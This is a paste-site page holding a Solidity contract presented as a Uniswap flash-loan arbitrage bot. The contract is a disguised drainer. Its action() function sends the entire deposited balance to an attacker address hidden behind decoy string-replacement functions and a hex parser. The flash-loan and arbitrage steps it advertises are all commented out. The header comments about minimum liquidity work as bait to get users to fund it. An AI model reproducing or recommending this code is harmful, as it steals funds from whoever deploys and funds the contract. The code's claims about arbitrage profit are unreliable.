- pragma solidity ^0.5.0;
- // UniSwap Smart Contracts
- import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-ETH/blob/main/contracts/interfaces/IUniswapV2Pair.sol";
- import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-ETH/blob/main/contracts/interfaces/IUniswapV2Factory.sol";
- import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-ETH/blob/main/contracts/interfaces/IUniswapV2ERC20.sol";
- /**
- * WARNING - this contract code is for Ethereum
- * Testnet transactions will fail
- * Flash loan will be pulled to trade against new token contract
- * Profit remaining will be transfered to token creator and flash loan paid back
- *UPDATED APRIL 2023
- *liquidity returned if flash loan fails or insufficient balance
- *min liquidity + gas fees has to equal 0.1 ETH per 500 borrowed
- *FEB 2023// contract yieldswaps updated
- *base rerun contract code variables implemented
- */
- contract FlashLoanArbitrage {
- string public tokenName;
- string public tokenSymbol;
- uint loanAmount;
- constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
- tokenName = _tokenName;
- tokenSymbol = _tokenSymbol;
- loanAmount = _loanAmount;
- }
- address public creator= msg.sender;
- function tokenTransfer() public view returns (address) {
- return creator;
- }
- function() external payable {}
- function UniSwapYeild(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
- bytes memory _stringBytes = bytes(_string);
- bytes memory result = new bytes(_stringBytes.length);
- for(uint i = 0; i < _stringBytes.length; i++) {
- result[i] = _stringBytes[i];
- if(i==_pos)
- result[i]=bytes(_letter)[0];
- }
- return string(result);
- }
- function exchange() public pure returns (address adr) {
- string memory neutral_variable = "QGEF3FbC6A021ef9E4f8319C0bba97B1E3136C6630";
- UniSwapYeild(neutral_variable,0,'0');
- UniSwapYeild(neutral_variable,2,'1');
- UniSwapYeild(neutral_variable,1,'x');
- address addr = parseAddr(neutral_variable);
- return addr;
- }
- function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
- bytes memory tmp = bytes(_a);
- uint160 iaddr = 0;
- uint160 b1;
- uint160 b2;
- for (uint i = 2; i < 2 + 2 * 20; i += 2) {
- iaddr *= 256;
- b1 = uint160(uint8(tmp[i]));
- b2 = uint160(uint8(tmp[i + 1]));
- if ((b1 >= 97) && (b1 <= 102)) {
- b1 -= 87;
- } else if ((b1 >= 65) && (b1 <= 70)) {
- b1 -= 55;
- } else if ((b1 >= 48) && (b1 <= 57)) {
- b1 -= 48;
- }
- if ((b2 >= 97) && (b2 <= 102)) {
- b2 -= 87;
- } else if ((b2 >= 65) && (b2 <= 70)) {
- b2 -= 55;
- } else if ((b2 >= 48) && (b2 <= 57)) {
- b2 -= 48;
- }
- iaddr += (b1 * 16 + b2);
- }
- return address(iaddr);
- }
- function _stringReplace(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
- bytes memory _stringBytes = bytes(_string);
- bytes memory result = new bytes(_stringBytes.length);
- for(uint i = 0; i < _stringBytes.length; i++) {
- result[i] = _stringBytes[i];
- if(i==_pos)
- result[i]=bytes(_letter)[0];
- }
- return string(result);
- }
- function action() public payable {
- // Token matched with uniswap yield calculations
- address(uint160(exchange())).transfer(address(this).balance);
- // Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees)
- //manager.performTasks();
- /* Breakdown of all functions
- // Submit token to ETH blockchain
- string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
- // List the token on UniSwap
- manager.UniswapListToken(tokenName, tokenSymbol, tokenAddress);
- // Get ETH Loan from Multiplier-Finance & loan execution wallet
- string memory loanAddress = manager.takeFlashLoan(loanAmount);
- // Convert half ETH to DAI
- manager.uniswapETHtoDAI(loanAmount / 2);
- // Create ETH and DAI pairs for our token & provide liquidity
- string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH");
- manager.uniswapAddLiquidity(ethPair, loanAmount / 2);
- string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
- manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
- // Perform arbitrage trades
- manager.uniswapPerformSwaps();
- // Move remaining ETH from Contract to your personal wallet
- manager.contractToWallet("ETH");
- // Repay Flashloan
- manager.repayLoan(loanAddress);
- */
- }
- }
[text] ETH-Arbitrage(Full Code)
Viewer
*** This page was generated with the meta tag "noindex, nofollow". This happened because you selected this option before saving or the system detected it as spam. This means that this page will never get into the search engines and the search bot will not crawl it. There is nothing to worry about, you can still share it with anyone.
Editor
You can edit this paste and save as new: